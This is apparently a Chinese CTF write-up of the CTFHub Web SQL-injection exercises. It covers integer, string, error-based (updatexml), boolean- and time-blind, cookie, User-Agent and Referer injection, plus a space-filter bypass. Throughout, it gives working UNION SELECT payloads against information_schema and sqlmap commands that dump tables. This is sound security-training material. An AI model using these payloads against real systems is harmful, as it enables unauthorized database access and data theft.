CTFHub技能树-Web-SQL注入
文章目录
前言
一、整数型注入
已知是整数型注入,故可直接判断字段数
当order by 3 时报错,说明有2个字段
为了保证之前的数据查询不出来,将1改为-1,然后输入-1 union select 1,2 进行查询
在2的位置查询数据库名,输入-1 union select 1,database(),得到数据库名为sqli
接下来获取数据库表名,输入-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=‘sqli’,发现flag表
获取flag表的字段名,输入-1 union select 1,group_concat(column_name) from information_schema.columns where table_name=‘flag’,发现字段flag
查询flag字段值,输入-1 union select 1,flag from sqli.flag,获得flag
二、字符型注入
字符型注入,用#来过滤掉后面的 ’
先判断字段数,输入1’ order by 1/2/3… #,发现到3时报错,即字段数为2
联合查询数据库名,输入 -1’ union select 1,2# 与 -1’ union select 1,database()# 获得数据库名sqli
接着查询表名,输入-1’ union select 1,group_concat(table_name) from information_schema.tables where table_schema=‘sqli’#,发现flag表
查询flag表的字段,输入-1’ union select 1,group_concat(column_name) from information_schema.columns where table_name=‘flag’#,发现flag字段
查询flag字段值,输入-1’ union select 1,flag from sqli.flag#,获得flag
三、报错注入
报错注入是通过特殊函数错误使用并使其输出错误结果来获取信息的,就是在可以进行sql注入的位置,调用特殊的函数执行,利用函数报错使其输出错误结果来获取数据库的相关信息
先判断字段数,发现3时报错,即字段数为2
这里使用updatexml()构造payload
select updatexml(“abc”,“//div/p/text()”,“abcd”) 的意思是把"abc"换成"abcd" ,而服务器要通过xpath路径"//div/p/text()“找到"abc”
这时如果xpath路径格式出错了,则会把校验xpath路径后的结果通过报错信息显示出来,如果我们把xpath路径改成我们想知道的信息,结果就会通过报错信息显示出来。
输入-1 and updatexml(1,concat(1,database()),2) 就可以通过报错信息得到当前服务器使用数据库的名字’sqli’
接下来获取表名,输入-1 and updatexml(1,(concat(1,(select group_concat(table_name) from information_schema.tables where table_schema =‘sqli’))),2)
,发现flag表
获取flag表字段,输入-1 and updatexml(1,(concat(1,(select group_concat(column_name) from information_schema.columns where table_name =‘flag’))),2),发现flag字段
获取flag字段值,输入-1 and updatexml(1,(concat(1,(select flag from sqli.flag))),2),得到flag
四、布尔盲注
发现只回显query_success和query_false
手工注入太繁琐,这里使用sqlmap工具(可能需要点时间)
爆库,输入python sqlmap.py -u “url” --dbs,发现sqli库
爆表,输入python sqlmap.py -u “url” -D sqli --tables,发现flag表
爆列,输入python sqlmap.py -u “url” -D sqli -T flag --columns,发现flag字段
爆字段,输入python sqlmap.py -u “url” -D sqli -T flag -C flag --dump,得到flag
五、时间盲注
同样,这里使用sqlmap工具
爆库,输入python sqlmap.py -u “url” --dbs --batch(–batch表示自动执行,无需手动输入y),发现sqli库
爆表,输入python sqlmap.py -u “url” -D sqli --tables,发现flag表
爆列,输入python sqlmap.py -u “url” -D sqli -T flag --columns,发现flag字段
爆字段,输入python sqlmap.py -u “url” -D sqli -T flag -C flag --dump,得到flag
六、MySQL结构
本题与整数型注入类似
判断字段数,到3时报错,则字段数为2
查询数据库名,为’sqli’
查询数据库表名,发现一个与之前不一样的epusvxnajl表
查询表字段,发现kdmwpiyetq字段
查询该字段值,得到flag
七、Cookie注入
抓包,将之前的输入框换成在cookie处注入
判断出是整数型注入
判断字段数,当order by 3 时报错,说明有2个字段
查询数据库名,得到数据库名为sqli
获取数据库表名,发现目标表
获取flag表的字段名,发现目标字段
查询字段值,获得flag
八、UA注入
抓包,判断是整数型注入后,与cookie 的处理方式相同,只是代码位置不同
九、Refer注入
抓包,没有refer的话,自行加上,判断是整数型注入后,与cookie 的处理方式相同,只是代码位置不同
十、过滤空格
测试发现是整数型注入,本题过滤了空格,故用/**/来代替空格
之后的操作就和之前整数型注入相同,只是不使用空格
最终得到了flag
总结
手工注入:判断注入类型,判断字段数,查询数据库名,查询数据库表名,查询表字段名,获得字段值
sqlmap工具:爆库,爆表,爆列,爆字段